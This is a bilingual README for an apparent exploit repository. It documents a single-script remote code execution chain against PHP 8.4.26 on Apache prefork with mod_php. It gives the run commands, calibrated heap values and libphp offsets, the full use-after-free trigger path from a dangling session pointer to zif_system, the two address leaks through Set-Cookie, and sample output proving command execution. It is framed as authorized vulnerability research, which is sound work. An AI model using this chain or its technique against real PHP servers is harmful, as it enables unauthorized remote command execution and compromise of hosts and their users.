在“完全远程、只用 HTTP、目标页面无 session_start()、不写任何目标侧 PHP”的约束下,用一个 exploit.py 打通 PHP 8.4.26 + Apache prefork + mod_php 的 RCE。目标页面只有 <?php echo "OK\n"; ?>。
唯一支持的运行环境是官方
php:8.4.26-apache镜像(PHP 8.4.26 / Debian 12 / Apache prefork + mod_php)配合本仓库 docker/ 下的配置。
这不是一个通用的 ASLR bypass,也没有关闭 ASLR:
- 利用过程只通过两次越界读泄漏 Zend MM chunk base 和 libphp base,不泄漏 libc、栈或完整内存映射。
- 地址空间仍然由 ASLR 随机化。宿主机内核 ASLR(kASLR)、容器运行时、内核
mmap行为、分配器以及 PHP/Apache 的具体构建都会影响堆布局和泄漏结果。 - 链中的堆几何、标定值和 libphp 偏移是针对官方镜像实测的,不包含地址扫描或暴力枚举。换镜像、换 PHP 构建或换发行版后,即使地址仍能泄漏,后续伪造对象的布局也不一定成立。
Apache 侧也有硬性前提:
- 必须是 prefork MPM + 单 worker + mod_php。子进程 abort 后,父进程直接
fork出新 worker,不重新exec,因此 libphp 映射和各阶段依赖的地址空间得以保留。 docker/apache.conf固定StartServers/MinSpareServers/MaxSpareServers/MaxRequestWorkers/ServerLimit = 1,MaxConnectionsPerChild = 0,并关闭 KeepAlive。- 多 worker、event/worker MPM、Apache 重启/优雅重启、worker 重新
exec、容器重建或父进程退出,都可能重新随机化地址或让请求落到不同进程,整条链会失效。 - 如果任一阶段泄漏失败,ASLR 仍然有效;重试只是换一个 worker,并不会“击败”ASLR。
当前 RCE 还要求:display_errors=1、memory_limit=8M、max_input_vars=1000、session.use_cookies=1、session.use_strict_mode=0、session.upload_progress.enabled=1。
本仓库不编译 PHP/Apache,也没有 docker build:环境就是官方 php:8.4.26-apache 镜像加 docker/ 下的配置挂载。
# 依赖:Docker Engine/Desktop + Docker Compose v2 + Python 3.9+
git clone https://github.com/9bie/php2shell-bypass-aslr-exp.git
cd php2shell-bypass-aslr-exp
# 1) 拉官方镜像(PHP 8.4.26 / Debian 12 / Apache prefork)
docker compose -f docker/docker-compose.yml pull
# 2) 起目标:单 worker、display_errors=On、memory_limit=8M
docker compose -f docker/docker-compose.yml up -d
# 3) 等 Apache 就绪并确认普通页面
for i in $(seq 1 20); do
curl -fsS http://127.0.0.1:8088/index.php >/dev/null 2>&1 && break
sleep 0.5
done
curl -s http://127.0.0.1:8088/index.php # OK
# 4) 一条命令完成整个利用;首次运行会自动读取 libphp 偏移
python3 exploit.py -u http://127.0.0.1:8088/index.php
# PROOF: uid=33(www-data) gid=33(www-data) groups=33(www-data)已经在仓库目录内就跳过
git clone/cd;pull也可以省略,up -d会自动拉镜像。
exploit.py 自动完成 worker 轮换、两阶段泄漏、zif_system 执行和 proof 读取,每个阶段内置重试。运行环境:
| 组件 | 版本 | 来源 |
|---|---|---|
| PHP | 8.4.26(NTS,mod_php) | php:8.4.26-apache |
| 基础系统 | Debian 12 (bookworm) | 同上 |
| Apache | 2.4.69(官方镜像内 Debian 12 包) | 同上 |
| MPM | prefork,单 worker | docker/apache.conf |
| 页面 | 仅 <?php echo "OK\n"; ?> |
docker/www/index.php |
官方镜像仓库:docker-library/php(Docker Hub: php:8.4.26-apache);PHP 源码:php/php-src(tag php-8.4.26)。
首次运行会自动执行 docker/offsets.py:从容器内 libphp.so 读取 zif_system / zval_ptr_dtor 的真实偏移并写入 out/offsets.env,exploit.py 自动加载,所以更换官方镜像或升级后不用手改偏移。默认命令是 id>/out/p1(10 字节),容器里的 /out 挂载到仓库的 ./out,proof 直接落在本机:
[*] target http://127.0.0.1:8088/index.php (cmd='id>/out/p1')
[*] no offsets file; reading libphp symbols from container php2shell-target
zif_system 0x...
zval_ptr_dtor 0x...
[+] chunk base = 0x...
[+] libphp base = 0x...
[*] stage 3: HTDATA=0x... ZIF=0x...
PROOF: uid=33(www-data) gid=33(www-data) groups=33(www-data)
payload 里的命令上限是 14 字节。要跑任意命令,把脚本写到挂载目录,再用 sh</out/c(8 字节)执行:
printf 'id; uname -a > /out/p1\n' > out/c
python3 exploit.py -u http://127.0.0.1:8088/index.php -c 'sh</out/c'常用参数:--cmd、--proof-file、--fetch、--zif-offset、--dtor-offset、--htdata-offset、--no-pre-rotate、--retries。--offsets-file '' 可关闭自动读取;容器名不是 php2shell-target 时用 --docker-container 指定。
官方镜像的堆标定已内置:stage1 filler 数 841;stage2 目标数组 406、元素值长度 16;stage3 HTDATA=chunk+0x690d8,A 的 pad 为 6×(31,31),并额外带 32 字符合法 Cookie: PHPSESSID,使 B 复用 stale id(send_cookie=0),避免 session 的 Set-Cookie 头在 R0+16 覆盖 val.type;B 用 15B carrier 覆盖 reference 的 val.value。libphp 偏移自动读取为 zif_system=0x465370、zval_ptr_dtor=0x65eb60。
漏洞面是 session.upload_progress 在 RINIT 之前触发的 session 初始化,以及 OOM bailout 后跨请求残留的悬空指针。整条链的攻击流量全部是普通 multipart HTTP,目标页面只有 <?php echo "OK\n"; ?>:
-
worker 轮换:
A_bigfields(3MB 存活 POST 字段 + 12MB OOM)后紧跟一个会初始化 session 的 B,child 以 SIGABRT 退出;prefork fork 出的新 worker 继承相同的 libphp/chunk 映射。 -
堆泄漏:A 用 1001 个字段触发
max_input_vars警告(display_errors=On→headers_sent=1),PHPSESSID=\x00生成新 id 并置send_cookie=1,最后的 12MB 字段在php_session_initialize()内 OOM,PS(http_session_vars)悬空。B 用填充字段重占旧 reference,并用存活的 zend_string 承载 fake HashTable;php_url_encode()越界读把 Zend MM chunk 指针写进Set-Cookie。 -
libphp 泄漏:A 把悬空
PS(id)放到目标 offset;B 的 HashTable 页让ZSTR_LEN(PS(id))读到nTableSize=16,数据区正好是nNextFreeElement|pDestructor;pDestructor = ZVAL_PTR_DTOR = libphp+dtor_offset,从Set-Cookie解出 libphp base。 -
命令执行:A 用 pad 把悬空 reference 固定到目标位置;B 用 raw buffer / carrier 覆盖 reference,fake HashTable 放在
chunk+0x690d8的 167B 存活字符串里,pDestructor = zif_system = libphp+0x465370。触发链:php_session_track_init() zval_ptr_dtor(PS(http_session_vars)) zend_reference_destroy(R0) zval_ptr_dtor(&ref->val) # IS_ARRAY_EX zend_array_destroy(fake HT) zend_hash_destroy(fake HT) pDestructor(&bucket->val) # zif_system终端只使用 libphp 内的
zif_system,不需要 libc。
泄漏内容:
- 阶段 1 的
Set-Cookie越界读泄漏 Zend MM chunk base(按 2MiB 对齐取众数),后续用于计算HTDATA = chunk + 0x690d8。 - 阶段 2 的
Set-Cookie越界读泄漏pDestructor指针,减去ZVAL_PTR_DTOR偏移后得到 libphp base,后续用于计算zif_system = libphp + 0x465370。 - 不需要 libc base、stack 或完整 maps。
ASLR 没有被击败:
- ASLR 始终开启;利用只是泄漏了当前进程需要的两个运行时地址,属于 per-process 的信息泄漏绕过,不是通用绕过。
- 没有暴力扫描、没有重启爆破、没有依赖
/proc。地址泄漏失败时链就失败,ASLR 仍然有效。 - 由于标定依赖官方镜像的确切堆几何和 libphp 构建,只支持官方
php:8.4.26-apache镜像。kASLR、宿主机/容器运行时、内核 mmap 行为、分配器版本、PHP/Apache 重新构建等都可能改变布局,不能把该链当作跨镜像的 ASLR 利用。
Apache 问题:
- 链要求 prefork + 单 worker + mod_php。worker abort 后由父进程 fork 新 child,映射继承,因此阶段之间地址空间不变;这是整条链成立的关键。
- 多 worker 会让不同请求落到不同进程;event/worker MPM 不适用;Apache 重启、优雅重启、父进程退出、容器重建或重新
exec都可能重新随机化地址。 MaxConnectionsPerChild非 0、外部进程管理器强制重启、或任何改变 worker 生命周期/映射的配置,都可能破坏 stale pointer 的跨请求复用。- 因此,README 中的 Docker 配置不是“推荐配置”,而是复现条件的一部分。
- 一个 exp 复现全部:
python3 exploit.py -u ...一条命令完成 worker 轮换、堆泄漏、libphp 泄漏和zif_system执行;不需要目标侧文件、不需要session_start()、不需要本地信号。 - 纯 HTTP:攻击流量只有 multipart POST,目标 webroot 只有
<?php echo "OK\n"; ?>。 - 仅官方镜像:官方
php:8.4.26-apache(PHP 8.4.26 / Debian 12 / Apache 2.4.69 prefork)+ docker/php.ini、docker/apache.conf 是唯一支持环境;详细限制见上文。 - 边界:当前 RCE 要求
display_errors=1、memory_limit=8M、max_input_vars=1000、session.use_cookies=1、session.use_strict_mode=0、单 worker prefork;display_errors=0不在本版 RCE 支持范围内。 - 仅用于授权环境中的漏洞研究与复现。
Under the constraints of being fully remote, HTTP-only, with no session_start() on the target page and no PHP written on the target side, a single exploit.py achieves RCE on PHP 8.4.26 + Apache prefork + mod_php. The target page is only <?php echo "OK\n"; ?>.
The only supported target is the official
php:8.4.26-apacheimage (PHP 8.4.26 / Debian 12 / Apache prefork + mod_php) together with the configuration under docker/.
This is not a general ASLR bypass, and ASLR is not disabled:
- The chain leaks only two runtime values through out-of-bounds reads: the Zend MM chunk base and the libphp base. It does not leak libc, the stack, or the full memory map.
- Address space randomization remains active. Host kernel ASLR (kASLR), the container runtime, kernel
mmapbehavior, the allocator, and the exact PHP/Apache build all affect heap geometry and whether the leaks work. - The heap geometry, calibration values, and libphp offsets are measured against the official image. There is no address scanning or brute force. A different image, PHP build, or distribution may still leak addresses but will not necessarily satisfy the forged-object layout.
The Apache side has hard requirements:
- Prefork MPM + one worker + mod_php is required. When a child aborts, the parent
forks a new worker withoutexec, so the libphp mappings and the address space needed by later stages survive. docker/apache.conffixesStartServers/MinSpareServers/MaxSpareServers/MaxRequestWorkers/ServerLimit = 1, setsMaxConnectionsPerChild = 0, and disables KeepAlive.- Multiple workers, event/worker MPM, Apache restart/graceful restart, worker re-
exec, container recreation, or parent exit can re-randomize addresses or route requests to a different process and break the chain. - If any leak fails, ASLR remains effective. Retries only rotate a worker; they do not defeat ASLR.
The current RCE also requires: display_errors=1, memory_limit=8M, max_input_vars=1000, session.use_cookies=1, session.use_strict_mode=0, session.upload_progress.enabled=1.
This repository does not compile PHP/Apache and has no docker build: the environment is simply the official php:8.4.26-apache image plus the config mounts under docker/.
# Requirements: Docker Engine/Desktop + Docker Compose v2 + Python 3.9+
git clone https://github.com/9bie/php2shell-bypass-aslr-exp.git
cd php2shell-bypass-aslr-exp
# 1) Pull the official image (PHP 8.4.26 / Debian 12 / Apache prefork)
docker compose -f docker/docker-compose.yml pull
# 2) Start the target: single worker, display_errors=On, memory_limit=8M
docker compose -f docker/docker-compose.yml up -d
# 3) Wait for Apache and confirm a normal page
for i in $(seq 1 20); do
curl -fsS http://127.0.0.1:8088/index.php >/dev/null 2>&1 && break
sleep 0.5
done
curl -s http://127.0.0.1:8088/index.php # OK
# 4) One command completes the whole exploit; first run reads libphp offsets automatically
python3 exploit.py -u http://127.0.0.1:8088/index.php
# PROOF: uid=33(www-data) gid=33(www-data) groups=33(www-data)If you are already inside the repository directory, skip
git clone/cd;pullcan also be omitted, sinceup -dpulls the image automatically.
exploit.py automatically performs worker rotation, the two-stage leak, zif_system execution, and proof retrieval, with built-in retries for each stage. Runtime environment:
| Component | Version | Source |
|---|---|---|
| PHP | 8.4.26 (NTS, mod_php) | php:8.4.26-apache |
| Base system | Debian 12 (bookworm) | Same image |
| Apache | 2.4.69 (Debian 12 package in the official image) | Same image |
| MPM | prefork, one worker | docker/apache.conf |
| Page | only <?php echo "OK\n"; ?> |
docker/www/index.php |
Official image repository: docker-library/php (Docker Hub: php:8.4.26-apache); PHP source: php/php-src (tag php-8.4.26).
On first run docker/offsets.py runs automatically: it reads the real zif_system / zval_ptr_dtor offsets from the container's libphp.so and writes out/offsets.env; exploit.py loads it, so image updates do not require hand-editing offsets. The default command is id>/out/p1 (10 bytes); the container's /out is mounted to the repository's ./out, so the proof lands on the host:
[*] target http://127.0.0.1:8088/index.php (cmd='id>/out/p1')
[*] no offsets file; reading libphp symbols from container php2shell-target
zif_system 0x...
zval_ptr_dtor 0x...
[+] chunk base = 0x...
[+] libphp base = 0x...
[*] stage 3: HTDATA=0x... ZIF=0x...
PROOF: uid=33(www-data) gid=33(www-data) groups=33(www-data)
The command inside the payload is limited to 14 bytes. To run an arbitrary command, write a script to the mounted directory and invoke it with sh</out/c (8 bytes):
printf 'id; uname -a > /out/p1\n' > out/c
python3 exploit.py -u http://127.0.0.1:8088/index.php -c 'sh</out/c'Common options: --cmd, --proof-file, --fetch, --zif-offset, --dtor-offset, --htdata-offset, --no-pre-rotate, --retries. --offsets-file '' disables automatic offset loading; use --docker-container if the container is not named php2shell-target.
The official-image heap calibration is built in: stage-1 filler count 841; stage-2 target array 406, element value length 16; stage 3 uses HTDATA=chunk+0x690d8, six (31,31) pads on side A, and a 32-byte valid Cookie: PHPSESSID so side B reuses the stale id (send_cookie=0) and the session Set-Cookie header does not overwrite val.type at R0+16; side B uses a 15-byte carrier to overwrite the reference's val.value. The libphp offsets are read automatically as zif_system=0x465370, zval_ptr_dtor=0x65eb60.
The vulnerable surface is session initialization triggered by session.upload_progress before RINIT, plus dangling pointers left across requests after an OOM bailout. All attack traffic is ordinary multipart HTTP, and the target page only contains <?php echo "OK\n"; ?>:
-
Worker rotation:
A_bigfields(3 MB of live POST fields + a 12 MB OOM) is followed by a session-initializing B; the child exits with SIGABRT and prefork forks a new worker, which inherits the same libphp/chunk mappings. -
Heap leak: A uses 1001 fields to trigger a
max_input_varswarning (display_errors=On→headers_sent=1), setsPHPSESSID=\x00to generate a new id andsend_cookie=1, then the final 12 MB field OOMs insidephp_session_initialize()and leavesPS(http_session_vars)dangling. B reclaims the old reference with filler fields and uses a live zend_string to hold a fake HashTable; an out-of-bounds read inphp_url_encode()writes Zend MM chunk pointers intoSet-Cookie. -
libphp leak: A places the dangling
PS(id)at the target offset; B's HashTable page makesZSTR_LEN(PS(id))readnTableSize=16, and the data region is exactlynNextFreeElement|pDestructor;pDestructor = ZVAL_PTR_DTOR = libphp+dtor_offset, so the cookie yields the libphp base. -
Command execution: A uses pads to pin the dangling reference at the target location; B overwrites the reference with a raw buffer/carrier, places the fake HashTable in a live 167-byte string at
chunk+0x690d8, and setspDestructor = zif_system = libphp+0x465370. Trigger chain:php_session_track_init() zval_ptr_dtor(PS(http_session_vars)) zend_reference_destroy(R0) zval_ptr_dtor(&ref->val) # IS_ARRAY_EX zend_array_destroy(fake HT) zend_hash_destroy(fake HT) pDestructor(&bucket->val) # zif_systemOnly
zif_systeminside libphp is used; libc is not needed.
What is leaked:
- Stage 1's out-of-bounds
Set-Cookieread leaks the Zend MM chunk base (the mode of 2 MiB-aligned pointers), later used asHTDATA = chunk + 0x690d8. - Stage 2's out-of-bounds
Set-Cookieread leaks apDestructorpointer; subtracting theZVAL_PTR_DTORoffset gives the libphp base, later used aszif_system = libphp + 0x465370. - No libc base, stack, or full maps are needed.
ASLR is not defeated:
- ASLR stays enabled. The exploit only discloses the two runtime addresses needed by this process: a per-process information-leak bypass, not a generic ASLR bypass.
- There is no brute-force scan, no reboot guessing, and no
/procdependency. If the leaks fail, the chain fails and ASLR remains effective. - Because the calibration depends on the exact heap geometry and libphp build of the official image, only the official
php:8.4.26-apacheimage is supported. kASLR, the host/container runtime, kernel mmap behavior, allocator version, and PHP/Apache rebuilds can all change the layout; this chain must not be treated as a cross-image ASLR exploit.
Apache problem:
- The chain requires prefork + one worker + mod_php. When a worker aborts, the parent forks a new child and mappings are inherited, so the address space remains stable across stages. This is essential to the chain.
- Multiple workers route consecutive requests to different processes; event/worker MPM does not apply; Apache restarts, graceful restarts, parent exit, container recreation, or re-
execcan re-randomize addresses. - A non-zero
MaxConnectionsPerChild, an external process manager forcing restarts, or any configuration that changes worker lifetime/mappings can break reuse of the stale pointer across requests. - The Docker configuration in this README is therefore part of the reproduction conditions, not merely a recommendation.
- One exploit for the whole chain:
python3 exploit.py -u ...performs worker rotation, heap leak, libphp leak, andzif_systemexecution in one command; no target-side files, nosession_start(), and no local signal are required. - Pure HTTP: attack traffic is only multipart POST, and the target webroot only contains
<?php echo "OK\n"; ?>. - Official image only: the official
php:8.4.26-apache(PHP 8.4.26 / Debian 12 / Apache 2.4.69 prefork) plus docker/php.ini and docker/apache.conf is the only supported environment; see the limitations above. - Boundaries: the current RCE requires
display_errors=1,memory_limit=8M,max_input_vars=1000,session.use_cookies=1,session.use_strict_mode=0, and single-worker prefork;display_errors=0is outside this version's RCE support. - For authorized vulnerability research and reproduction only.